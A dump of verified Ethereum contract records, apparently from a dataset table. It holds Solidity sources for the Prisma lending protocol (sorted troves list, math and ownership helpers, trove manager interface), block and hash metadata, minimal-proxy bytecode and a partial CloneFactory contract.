"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nstruct ReedemedTrove {\n address account;\n uint256 debtLot;\n uint256 collateralLot;\n}\n\ninterface ITroveRedemptionsCallback {\n /**\n * @notice Function called after redemptions are executed in a Trove Manager\n * @dev This functions should be called EXCLUSIVELY by a registered Trove Manger\n * @param redemptions Values related to redeemed troves\n */\n function onRedemptions(ReedemedTrove[] memory redemptions) external returns (bool);\n}\n"
},
"contracts/dependencies/SystemStart.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma System Start Time\n @dev Provides a unified `startTime` and `getWeek`, used for emissions.\n */\ncontract SystemStart {\n uint256 immutable startTime;\n\n constructor(address prismaCore) {\n startTime = IPrismaCore(prismaCore).startTime();\n }\n\n function getWeek() public view returns (uint256 week) {\n return (block.timestamp - startTime) / 1 weeks;\n }\n}\n"
},
"contracts/interfaces/IPrismaCore.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaCore {\n event FeeReceiverSet(address feeReceiver);\n event GuardianSet(address guardian);\n event NewOwnerAccepted(address oldOwner, address owner);\n event NewOwnerCommitted(address owner, address pendingOwner, uint256 deadline);\n event NewOwnerRevoked(address owner, address revokedOwner);\n event Paused();\n event PriceFeedSet(address priceFeed);\n event Unpaused();\n\n function acceptTransferOwnership() external;\n\n function commitTransferOwnership(address newOwner) external;\n\n function revokeTransferOwnership() external;\n\n function setFeeReceiver(address _feeReceiver) external;\n\n function setGuardian(address _guardian) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeed) external;\n\n function OWNERSHIP_TRANSFER_DELAY() external view returns (uint256);\n\n function feeReceiver() external view returns (address);\n\n function guardian() external view returns (address);\n\n function owner() external view returns (address);\n\n function ownershipTransferDeadline() external view returns (uint256);\n\n function paused() external view returns (bool);\n\n function pendingOwner() external view returns (address);\n\n function priceFeed() external view returns (address);\n\n function startTime() external view returns (uint256);\n}\n"
},
"contracts/dependencies/PrismaBase.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\n/*\n * Base contract for TroveManager, BorrowerOperations and StabilityPool. Contains global system constants and\n * common functions.\n */\ncontract PrismaBase {\n uint256 public constant DECIMAL_PRECISION = 1e18;\n\n // Critical system collateral ratio. If the system's total collateral ratio (TCR) falls below the CCR, Recovery Mode is triggered.\n uint256 public constant CCR = 1500000000000000000; // 150%\n\n // Amount of debt to be locked in gas pool on opening troves\n uint256 public immutable DEBT_GAS_COMPENSATION;\n\n uint256 public constant PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%\n\n constructor(uint256 _gasCompensation) {\n DEBT_GAS_COMPENSATION = _gasCompensation;\n }\n\n // --- Gas compensation functions ---\n\n // Returns the composite debt (drawn debt + gas compensation) of a trove, for the purpose of ICR calculation\n function _getCompositeDebt(uint256 _debt) internal view returns (uint256) {\n return _debt + DEBT_GAS_COMPENSATION;\n }\n\n function _getNetDebt(uint256 _debt) internal view returns (uint256) {\n return _debt - DEBT_GAS_COMPENSATION;\n }\n\n // Return the amount of collateral to be drawn from a trove's collateral and sent as gas compensation.\n function _getCollGasCompensation(uint256 _entireColl) internal pure returns (uint256) {\n return _entireColl / PERCENT_DIVISOR;\n }\n\n function _requireUserAcceptsFee(uint256 _fee, uint256 _amount, uint256 _maxFeePercentage) internal pure {\n uint256 feePercentage = (_fee * DECIMAL_PRECISION) / _amount;\n require(feePercentage <= _maxFeePercentage, \"Fee exceeded provided maximum\");\n }\n}\n"
},
"contracts/dependencies/PrismaMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nlibrary PrismaMath {\n uint256 internal constant DECIMAL_PRECISION = 1e18;\n\n /* Precision for Nominal ICR (independent of price). Rationale for the value:\n *\n * - Making it “too high” could lead to overflows.\n * - Making it “too low” could lead to an ICR equal to zero, due to truncation from Solidity floor division.\n *\n * This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39,\n * and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator.\n *\n */\n uint256 internal constant NICR_PRECISION = 1e20;\n\n function _min(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a < _b) ? _a : _b;\n }\n\n function _max(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a : _b;\n }\n\n /*\n * Multiply two decimal numbers and use normal rounding rules:\n * -round product up if 19'th mantissa digit >= 5\n * -round product down if 19'th mantissa digit < 5\n *\n * Used only inside the exponentiation, _decPow().\n */\n function decMul(uint256 x, uint256 y) internal pure returns (uint256 decProd) {\n uint256 prod_xy = x * y;\n\n decProd = (prod_xy + (DECIMAL_PRECISION / 2)) / DECIMAL_PRECISION;\n }\n\n /*\n * _decPow: Exponentiation function for 18-digit decimal base, and integer exponent n.\n *\n * Uses the efficient \"exponentiation by squaring\" algorithm. O(log(n)) complexity.\n *\n * Called by two functions that represent time in units of minutes:\n * 1) TroveManager._calcDecayedBaseRate\n * 2) CommunityIssuance._getCumulativeIssuanceFraction\n *\n * The exponent is capped to avoid reverting due to overflow. The cap 525600000 equals\n * \"minutes in 1000 years\": 60 * 24 * 365 * 1000\n *\n * If a period of > 1000 years is ever used as an exponent in either of the above functions, the result will be\n * negligibly different from just passing the cap, since:\n *\n * In function 1), the decayed base rate will be 0 for 1000 years or > 1000 years\n * In function 2), the difference in tokens issued at 1000 years and any time > 1000 years, will be negligible\n */\n function _decPow(uint256 _base, uint256 _minutes) internal pure returns (uint256) {\n if (_minutes > 525600000) {\n _minutes = 525600000;\n } // cap to avoid overflow\n\n if (_minutes == 0) {\n return DECIMAL_PRECISION;\n }\n\n uint256 y = DECIMAL_PRECISION;\n uint256 x = _base;\n uint256 n = _minutes;\n\n // Exponentiation-by-squaring\n while (n > 1) {\n if (n % 2 == 0) {\n x = decMul(x, x);\n n = n / 2;\n } else {\n // if (n % 2 != 0)\n y = decMul(x, y);\n x = decMul(x, x);\n n = (n - 1) / 2;\n }\n }\n\n return decMul(x, y);\n }\n\n function _getAbsoluteDifference(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a - _b : _b - _a;\n }\n\n function _computeNominalCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n return (_coll * NICR_PRECISION) / _debt;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt, uint256 _price) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll * _price) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n}\n"
},
"contracts/dependencies/PrismaOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma Ownable\n @notice Contracts inheriting `PrismaOwnable` have the same owner as `PrismaCore`.\n The ownership cannot be independently modified or renounced.\n */\ncontract PrismaOwnable {\n IPrismaCore public immutable PRISMA_CORE;\n\n constructor(address _prismaCore) {\n PRISMA_CORE = IPrismaCore(_prismaCore);\n }\n\n modifier onlyOwner() {\n require(msg.sender == PRISMA_CORE.owner(), \"Only owner\");\n _;\n }\n\n function owner() public view returns (address) {\n return PRISMA_CORE.owner();\n }\n\n function guardian() public view returns (address) {\n return PRISMA_CORE.guardian();\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"TroveManager.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
db2222735e926f3a18d7d1d0cfeef095a66aea2a
|
4898f44da7945fb3feb843b826a03657cee2cab7
|
3d602d80600a3d3981f3363d3d373d3d3d363d735c454338173b399bb9cd5c0259d0d242a71a14645af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735c454338173b399bb9cd5c0259d0d242a71a14645af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/core/SortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/ITroveManager.sol\";\n\n/**\n @title Prisma Sorted Troves\n @notice Based on Liquity's `SortedTroves`:\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/SortedTroves.sol\n\n Originally derived from `SortedDoublyLinkedList`:\n https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol\n */\ncontract SortedTroves {\n ITroveManager public troveManager;\n\n Data public data;\n\n // Information for a node in the list\n struct Node {\n bool exists;\n address nextId; // Id of next node (smaller NICR) in the list\n address prevId; // Id of previous node (larger NICR) in the list\n }\n\n // Information for the list\n struct Data {\n address head; // Head of the list. Also the node in the list with the largest NICR\n address tail; // Tail of the list. Also the node in the list with the smallest NICR\n uint256 size; // Current size of the list\n mapping(address => Node) nodes; // Track the corresponding ids for each node in the list\n }\n\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function setAddresses(address _troveManagerAddress) external {\n require(address(troveManager) == address(0), \"Already set\");\n troveManager = ITroveManager(_troveManagerAddress);\n }\n\n /*\n * @dev Add a node to the list\n * @param _id Node's id\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n // List must not already contain node\n require(!node.exists, \"SortedTroves: List already contains the node\");\n // Node id must not be null\n require(_id != address(0), \"SortedTroves: Id cannot be zero\");\n\n _insert(node, troveManagerCached, _id, _NICR, _prevId, _nextId);\n }\n\n function _insert(\n Node storage node,\n ITroveManager _troveManager,\n address _id,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal {\n // NICR must be non-zero\n require(_NICR > 0, \"SortedTroves: NICR must be positive\");\n\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n // Sender's hint was not a valid insert position\n // Use sender's hint to find a valid insert position\n (prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);\n }\n\n node.exists = true;\n\n if (prevId == address(0) && nextId == address(0)) {\n // Insert as head and tail\n data.head = _id;\n data.tail = _id;\n } else if (prevId == address(0)) {\n // Insert before `prevId` as the head\n address head = data.head;\n node.nextId = head;\n data.nodes[head].prevId = _id;\n data.head = _id;\n } else if (nextId == address(0)) {\n // Insert after `nextId` as the tail\n address tail = data.tail;\n node.prevId = tail;\n data.nodes[tail].nextId = _id;\n data.tail = _id;\n } else {\n // Insert at insert position between `prevId` and `nextId`\n node.nextId = nextId;\n node.prevId = prevId;\n data.nodes[prevId].nextId = _id;\n data.nodes[nextId].prevId = _id;\n }\n\n data.size = data.size + 1;\n emit NodeAdded(_id, _NICR);\n }\n\n function remove(address _id) external {\n _requireCallerIsTroveManager(troveManager);\n _remove(data.nodes[_id], _id);\n }\n\n /*\n * @dev Remove a node from the list\n * @param _id Node's id\n */\n function _remove(Node storage node, address _id) internal {\n // List must contain the node\n require(node.exists, \"SortedTroves: List does not contain the id\");\n\n if (data.size > 1) {\n // List contains more than a single node\n if (_id == data.head) {\n // The removed node is the head\n // Set head to next node\n address head = node.nextId;\n data.head = head;\n // Set prev pointer of new head to null\n data.nodes[head].prevId = address(0);\n } else if (_id == data.tail) {\n address tail = node.prevId;\n // The removed node is the tail\n // Set tail to previous node\n data.tail = tail;\n // Set next pointer of new tail to null\n data.nodes[tail].nextId = address(0);\n } else {\n address prevId = node.prevId;\n address nextId = node.nextId;\n // The removed node is neither the head nor the tail\n // Set next pointer of previous node to the next node\n data.nodes[prevId].nextId = nextId;\n // Set prev pointer of next node to the previous node\n data.nodes[nextId].prevId = prevId;\n }\n } else {\n // List contains a single node\n // Set the head and tail to null\n data.head = address(0);\n data.tail = address(0);\n }\n\n delete data.nodes[_id];\n data.size = data.size - 1;\n emit NodeRemoved(_id);\n }\n\n /*\n * @dev Re-insert the node at a new position, based on its new NICR\n * @param _id Node's id\n * @param _newNICR Node's new NICR\n * @param _prevId Id of previous node for the new insert position\n * @param _nextId Id of next node for the new insert position\n */\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n\n // Remove node from the list\n _remove(node, _id);\n\n _insert(node, troveManagerCached, _id, _newNICR, _prevId, _nextId);\n }\n\n /*\n * @dev Checks if the list contains a node\n */\n function contains(address _id) public view returns (bool) {\n return data.nodes[_id].exists;\n }\n\n /*\n * @dev Checks if the list is empty\n */\n function isEmpty() public view returns (bool) {\n return data.size == 0;\n }\n\n /*\n * @dev Returns the current size of the list\n */\n function getSize() external view returns (uint256) {\n return data.size;\n }\n\n /*\n * @dev Returns the first node in the list (node with the largest NICR)\n */\n function getFirst() external view returns (address) {\n return data.head;\n }\n\n /*\n * @dev Returns the last node in the list (node with the smallest NICR)\n */\n function getLast() external view returns (address) {\n return data.tail;\n }\n\n /*\n * @dev Returns the next node (with a smaller NICR) in the list for a given node\n * @param _id Node's id\n */\n function getNext(address _id) external view returns (address) {\n return data.nodes[_id].nextId;\n }\n\n /*\n * @dev Returns the previous node (with a larger NICR) in the list for a given node\n * @param _id Node's id\n */\n function getPrev(address _id) external view returns (address) {\n return data.nodes[_id].prevId;\n }\n\n /*\n * @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool) {\n return _validInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _validInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (bool) {\n if (_prevId == address(0) && _nextId == address(0)) {\n // `(null, null)` is a valid insert position if the list is empty\n return isEmpty();\n } else if (_prevId == address(0)) {\n // `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list\n return data.head == _nextId && _NICR >= _troveManager.getNominalICR(_nextId);\n } else if (_nextId == address(0)) {\n // `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list\n return data.tail == _prevId && _NICR <= _troveManager.getNominalICR(_prevId);\n } else {\n // `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_NICR` falls between the two nodes' NICRs\n return\n data.nodes[_prevId].nextId == _nextId &&\n _troveManager.getNominalICR(_prevId) >= _NICR &&\n _NICR >= _troveManager.getNominalICR(_nextId);\n }\n }\n\n /*\n * @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start descending the list from\n */\n function _descendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the head, check if the insert position is before the head\n if (data.head == _startId && _NICR >= _troveManager.getNominalICR(_startId)) {\n return (address(0), _startId);\n }\n\n address prevId = _startId;\n address nextId = data.nodes[prevId].nextId;\n\n // Descend the list until we reach the end or until we find a valid insert position\n while (prevId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n prevId = data.nodes[prevId].nextId;\n nextId = data.nodes[prevId].nextId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start ascending the list from\n */\n function _ascendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the tail, check if the insert position is after the tail\n if (data.tail == _startId && _NICR <= _troveManager.getNominalICR(_startId)) {\n return (_startId, address(0));\n }\n\n address nextId = _startId;\n address prevId = data.nodes[nextId].prevId;\n\n // Ascend the list until we reach the end or until we find a valid insertion point\n while (nextId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n nextId = data.nodes[nextId].prevId;\n prevId = data.nodes[nextId].prevId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Find the insert position for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address) {\n return _findInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _findInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (address, address) {\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (prevId != address(0)) {\n if (!contains(prevId) || _NICR > _troveManager.getNominalICR(prevId)) {\n // `prevId` does not exist anymore or now has a smaller NICR than the given NICR\n prevId = address(0);\n }\n }\n\n if (nextId != address(0)) {\n if (!contains(nextId) || _NICR < _troveManager.getNominalICR(nextId)) {\n // `nextId` does not exist anymore or now has a larger NICR than the given NICR\n nextId = address(0);\n }\n }\n\n if (prevId == address(0) && nextId == address(0)) {\n // No hint - descend list starting from head\n return _descendList(_troveManager, _NICR, data.head);\n } else if (prevId == address(0)) {\n // No `prevId` for hint - ascend list starting from `nextId`\n return _ascendList(_troveManager, _NICR, nextId);\n } else if (nextId == address(0)) {\n // No `nextId` for hint - descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n } else {\n // Descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n }\n }\n\n function _requireCallerIsTroveManager(ITroveManager _troveManager) internal view {\n require(msg.sender == address(_troveManager), \"SortedTroves: Caller is not the TroveManager\");\n }\n}\n"
},
"contracts/interfaces/ITroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITroveManager {\n event BaseRateUpdated(uint256 _baseRate);\n event CollateralSent(address _to, uint256 _amount);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 _stake, uint8 _operation);\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external;\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt);\n\n function claimCollateral(address _receiver) external;\n\n function claimReward(address receiver) external returns (uint256);\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external;\n\n function closeTroveByLiquidation(address _borrower) external;\n\n function collectInterests() external;\n\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256);\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external;\n\n function fetchPrice() external returns (uint256);\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external;\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256);\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external;\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool);\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external returns (uint256 stake, uint256 arrayIndex);\n\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external;\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external;\n\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeedAddress) external;\n\n function startSunset() external;\n\n function updateBalances() external;\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256);\n\n function vaultClaimReward(address claimant, address) external returns (uint256);\n\n function BOOTSTRAP_PERIOD() external view returns (uint256);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function L_collateral() external view returns (uint256);\n\n function L_debt() external view returns (uint256);\n\n function MAX_INTEREST_RATE_IN_BPS() external view returns (uint256);\n\n function MCR() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function Troves(\n address\n )\n external\n view\n returns (\n uint256 debt,\n uint256 coll,\n uint256 stake,\n uint8 status,\n uint128 arrayIndex,\n uint256 activeInterestIndex\n );\n\n function accountLatestMint(address) external view returns (uint32 amount, uint32 week, uint32 day);\n\n function baseRate() external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function borrowingFeeFloor() external view returns (uint256);\n\n function claimableReward(address account) external view returns (uint256);\n\n function collateralToken() external view returns (address);\n\n function dailyMintReward(uint256) external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function defaultedCollateral() external view returns (uint256);\n\n function defaultedDebt() external view returns (uint256);\n\n function emissionId() external view returns (uint16 debt, uint16 minting);\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256);\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256);\n\n function getBorrowingRate() external view returns (uint256);\n\n function getBorrowingRateWithDecay() external view returns (uint256);\n\n function getCurrentICR(address _borrower, uint256 _price) external view returns (uint256);\n\n function getEntireDebtAndColl(\n address _borrower\n ) external view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward);\n\n function getEntireSystemColl() external view returns (uint256);\n\n function getEntireSystemDebt() external view returns (uint256);\n\n function getNominalICR(address _borrower) external view returns (uint256);\n\n function getPendingCollAndDebtRewards(address _borrower) external view returns (uint256, uint256);\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256);\n\n function getRedemptionRate() external view returns (uint256);\n\n function getRedemptionRateWithDecay() external view returns (uint256);\n\n function getTotalActiveCollateral() external view returns (uint256);\n\n function getTotalActiveDebt() external view returns (uint256);\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory);\n\n function getTroveCollAndDebt(address _borrower) external view returns (uint256 coll, uint256 debt);\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address);\n\n function getTroveOwnersCount() external view returns (uint256);\n\n function getTroveStake(address _borrower) external view returns (uint256);\n\n function getTroveStatus(address _borrower) external view returns (uint256);\n\n function getWeek() external view returns (uint256 week);\n\n function getWeekAndDay() external view returns (uint256, uint256);\n\n function guardian() external view returns (address);\n\n function hasPendingRewards(address _borrower) external view returns (bool);\n\n function interestPayable() external view returns (uint256);\n\n function interestRate() external view returns (uint256);\n\n function lastFeeOperationTime() external view returns (uint256);\n\n function lastUpdate() external view returns (uint32);\n\n function liquidationManager() external view returns (address);\n\n function maxSystemDebt() external view returns (uint256);\n\n function minuteDecayFactor() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function paused() external view returns (bool);\n\n function periodFinish() external view returns (uint32);\n\n function priceFeed() external view returns (address);\n\n function redemptionFeeFloor() external view returns (uint256);\n\n function rewardIntegral() external view returns (uint256);\n\n function rewardIntegralFor(address) external view returns (uint256);\n\n function rewardRate() external view returns (uint128);\n\n function rewardSnapshots(address) external view returns (uint256 collateral, uint256 debt);\n\n function sortedTroves() external view returns (address);\n\n function sunsetting() external view returns (bool);\n\n function surplusBalances(address) external view returns (uint256);\n\n function totalCollateralSnapshot() external view returns (uint256);\n\n function totalStakes() external view returns (uint256);\n\n function totalStakesSnapshot() external view returns (uint256);\n\n function vault() external view returns (address);\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"SortedTroves.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,385 |
3962e5e8cbb3d233c5c875f47f4a25947e04163a4a37857ca18353746eac0a41
|
fa42ef67df4854d91b174e07bd49e5ec27d19c74d0cb1627185246d5f010e8ca
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
e168dd421a8a86b5d37ddeea832ceeb3a8cd10e0
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
